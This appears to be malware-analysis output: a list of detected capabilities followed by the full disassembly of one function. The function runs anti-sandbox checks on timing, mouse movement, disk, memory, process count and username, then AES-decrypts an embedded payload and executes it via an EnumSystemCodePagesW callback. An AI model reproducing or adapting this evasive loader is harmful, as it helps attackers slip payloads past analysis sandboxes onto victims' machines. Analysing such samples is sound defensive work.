Function at 0x7ff8cfca1000
Capabilities:
Check for sandbox username or hostname
Check for unmoving mouse cursor
Check http status code
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Enumerate process modules
Get disk size
Get memory capacity
Get session user name
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0xfa0]
mov eax, 0x10a0
call fcn.7ff8cfca20f0
sub rsp, rax
mov rax, qword [0x7ff8cfca4008]
xor rax, rsp
mov qword [rbp + 0xf90], rax
call qword [sym.imp.kernel32.dll_GetTickCount]
mov ecx, 0x1f4
mov edi, eax
call qword [sym.imp.kernel32.dll_Sleep]
call qword [0x7ff8cfca3058]
xor ebx, ebx
lea rcx, [rsp + 0x38]
sub eax, edi
mov edi, ebx
cmp eax, 0x1c2
setbe dil
inc edi
cmp eax, 0x1c2
setbe bl
call qword [sym.imp.user32.dll_GetCursorPos]
mov ecx, 0x7d0
call qword [sym.imp.kernel32.dll_Sleep]
lea rcx, [rsp + 0x40]
call qword [sym.imp.user32.dll_GetCursorPos]
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x38], eax
jne 0x7ff8cfca1098
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x3c], eax
je 0x7ff8cfca109a
mov edi, ebx
xor r9d, r9d
lea r8, [rsp + 0x48]
xor edx, edx
lea rcx, [0x7ff8cfca3230]
call qword [sym.imp.kernel32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x7ff8cfca10d1
mov rax, qword [rsp + 0x48]
movabs rcx, 0xf00000000
and rax, 0xffffffffc0000000
cmp rax, rcx
ja 0x7ff8cfca10d1
inc edi
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x40
call qword [sym.imp.kernel32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x58]
lea ebx, [rdi + 1]
and rax, 0xfffffffffffffc00
cmp rax, 0x40000000
mov rax, qword [0x7ff8cfca3070]
cmovae ebx, edi
cmp byte [rax], 0x8b
jne 0x7ff8cfca110f
cmp byte [rax + 1], 0xff
jne 0x7ff8cfca110f
inc ebx
lea r8, [rsp + 0x30]
mov edx, 0x1000
lea rcx, [rbp - 0x70]
call qword [sym.imp.kernel32.dll_K32EnumProcesses]
test eax, eax
je 0x7ff8cfca1135
mov eax, dword [rsp + 0x30]
and eax, 0xfffffffc
cmp eax, 0xc8
jae 0x7ff8cfca1137
inc ebx
xor eax, eax
mov dword [rsp + 0x30], reloc.kernel32.dll_GetTickCount
lea rdi, [rbp - 0x70]
mov ecx, 0x202
rep stosb byte [rdi], al
lea rcx, [rbp - 0x70]
lea rdx, [rsp + 0x30]
call qword [sym.imp.advapi32.dll_GetUserNameW]
test eax, eax
je 0x7ff8cfca1196
lea rdx, [rbp - 0x70]
mov rcx, 0xffffffffffffffff
lea rdi, [0x7ff8cfca3238]
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [rdi + rcx*2 + 2]
jne 0x7ff8cfca1196
add rcx, 2
cmp rcx, 0x13
je 0x7ff8cfca1193
movzx eax, word [rdx + rcx*2]
cmp ax, word [rdi + rcx*2]
je 0x7ff8cfca1171
jmp 0x7ff8cfca1196
add ebx, 3
cmp ebx, 3
jb 0x7ff8cfca11ab
mov ecx, 0x7d0
call qword [sym.imp.kernel32.dll_Sleep]
jmp 0x7ff8cfca12ff
mov r9d, 0x18
mov dword [rsp + 0x30], reloc.kernel32.dll_GetTickCount
xor r8d, r8d
mov dword [rsp + 0x20], reloc.kernel32.dll_GetTickCount
xor edx, edx
lea rcx, [rsp + 0x38]
call qword [sym.imp.advapi32.dll_CryptAcquireContextW]
lea rbx, [0x7ff8cfca4040]
test eax, eax
je 0x7ff8cfca1294
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.advapi32.dll_CryptCreateHash]
test eax, eax
je 0x7ff8cfca1294
mov rcx, qword [rsp + 0x40]
lea rdx, [0x7ff8cfcf6a00]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.advapi32.dll_CryptHashData]
test eax, eax
je 0x7ff8cfca1294
mov r8, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.advapi32.dll_CryptDeriveKey]
test eax, eax
je 0x7ff8cfca1294
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor edx, edx
call qword [sym.imp.advapi32.dll_CryptDecrypt]
test eax, eax
je 0x7ff8cfca1294
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.advapi32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.advapi32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.advapi32.dll_CryptDestroyKey]
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [sym.imp.kernel32.dll_HeapCreate]
test rax, rax
je 0x7ff8cfca12f2
xor edx, edx
mov r8d, 0x529c0
mov rcx, rax
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x7ff8cfca12f2
mov r8d, 0x529c0
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov edx, 1
mov rcx, rdi
call qword [sym.imp.kernel32.dll_EnumSystemCodePagesW]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.kernel32.dll_VirtualFree]
mov ecx, 0x2710
call qword [sym.imp.kernel32.dll_Sleep]
xor eax, eax
mov rcx, qword [rbp + 0xf90]
xor rcx, rsp
call fcn.7ff8cfca1360
lea r11, [rsp + 0x10a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
jmp section..text